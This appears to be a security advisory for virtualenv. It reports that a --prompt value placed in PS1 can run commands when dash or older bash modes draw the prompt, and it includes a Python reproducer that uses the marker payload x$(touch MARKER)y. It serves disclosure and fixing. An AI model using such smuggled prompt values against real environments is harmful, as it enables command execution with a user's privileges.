bin/activate copies the prompt into PS1. A shell expands PS1 again when it draws a prompt, so the value must survive both the assignment and that later expansion. The bash and zsh branches escape for their usual prompt rules. Three other paths still interpret prompt data as commands: dash sourcing activate directly, a child dash inheriting an exported PS1 from bash, and bash running at compatibility level 4.2 or lower. A value such as x$(touch MARKER)y then runs touch on prompt display. Creating the environment does not run the payload.

Reproduction and evidence

The scanner's child-shell reproducer creates an environment with --prompt 'x$(touch MARKER)y', sources bin/activate in interactive bash, and starts interactive sh (dash). Its control leaves PS1 unexported: neither shell creates MARKER. With PS1 exported, bash displays the prompt without executing the value, but the child dash creates MARKER; the reproducer ends in BUG. The report gives separate console reproductions for direct dash activation and bash compatibility level 4.2. The child-shell path can arise after another environment's activation has exported PS1.

The scanner linked this finding to #3326 and its follow-up #3390. Those changes cover the usual bash path but leave the three paths above. The proposed change in #3418 keeps a variable reference in PS1, so prompt text is expanded as data when drawn. The private report's reproducer was run by the scanner; the later command-execution result was supplied by the maintainer review. This advisory does not claim that every POSIX shell or every bash mode is affected.

Introduced

The report traces direct dash sourcing to the first 20.x activator (20.0.0b1), and inherited PS1 to #3390 (first released in 21.14.7). It demonstrates the compatibility-level case on bash 5.2. Those historical boundaries come from the report; the release confirmed by the maintainer is 21.14.8.

Attack sequence

sequenceDiagram
    participant A as Prompt supplier
    participant V as virtualenv
    participant B as Interactive bash
    participant D as Child dash
    A->>V: --prompt x$(touch MARKER)y
    V->>B: generated bin/activate
    B->>B: assign escaped prompt to PS1
    alt PS1 is not exported
        B->>D: start sh with its own PS1
        D-->>B: marker absent
    else PS1 is exported
        B->>D: start sh with inherited PS1
        D->>D: expand $(touch MARKER) on prompt draw
        D-->>B: marker created
    end

Reproducer files

The following files are from the scanner report for ANT-2026-1MOI2X3T. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import shutil
import subprocess
from pathlib import Path

work = Path("/tmp/repro-inherited-ps1")
shutil.rmtree(work, ignore_errors=True)
work.mkdir()
marker = work / "MARKER"
print("sh is", Path("/bin/sh").resolve())

# attacker: only the text a tool such as tox or hatch relays as --prompt
hostile_prompt = f"x$(touch {marker})y"

# set up: the environment, made with the virtualenv command
subprocess.run(
    ["virtualenv", "--no-periodic-update", "--without-pip", "--activators", "bash",
     "--prompt", hostile_prompt, str(work / "env")],
    check=True, stdout=subprocess.DEVNULL,
)
assert not marker.exists(), "creating the environment must not run the prompt"

# user: in an interactive bash, source bin/activate, then start sh.
# -i makes both shells draw their prompt although stdin is not a terminal; sh draws one, reads EOF and returns
session = Path("/tmp/repro.d/user_session.sh").read_text()
interactive_bash = ["bash", "--norc", "--noprofile", "-i"]

# control: PS1 set in bash but not exported, so sh does not inherit it
control = subprocess.run(interactive_bash, input="PS1='\\$ '\n" + session,
                         stderr=subprocess.PIPE, text=True, check=True)
print(control.stderr)
ran_in_control = marker.exists()
print("CONTROL  PS1 not exported: marker created:", ran_in_control)

# attack: the same session with the one difference that PS1 is exported
attack = subprocess.run(interactive_bash, input="export PS1='\\$ '\n" + session,
                        stderr=subprocess.PIPE, text=True, check=True)
print(attack.stderr)
ran_in_attack = marker.exists()
print("OBSERVED PS1 exported:     marker created:", ran_in_attack)

# check: the prompt text must be drawn, never run, by every shell that draws it
print("BUG" if ran_in_attack and not ran_in_control else "OK")

repro.d/user_session.sh

. /tmp/repro-inherited-ps1/env/bin/activate
sh -i </dev/null

Impact

An affected activation can execute commands with the user's privileges. Severity is high, following the generated-script precedent in GHSA-p58f-9548-mpm2. The attack requires control of argument data and subsequent user activation; it does not require replacing an executable or controlling app-data contents.

Versions tested

The supplied follow-up review marks command execution as independently confirmed by its author. The implementation review used source inspection and patched literal-value checks, without rerunning that exploit. The relevant activation source is identical between release 21.14.8 and upstream/main 233359cb. The maintainer previously confirmed validation of the reported findings on 21.14.8. The first affected version has not been established. Fixed in 21.14.9.

Known mitigation

Use trusted prompt and destination values. On older releases, disable the environment prompt with VIRTUAL_ENV_DISABLE_PROMPT=1. Recreate environments with virtualenv 21.14.9 or later.

Affected release

• [x] The problem reproduces on virtualenv 21.14.8.

Credits

The original report was supplied by Anthropic's OSS Scanner as ANT-2026-1MOI2X3T. The subsequent maintainer-provided review identified the remaining activation path.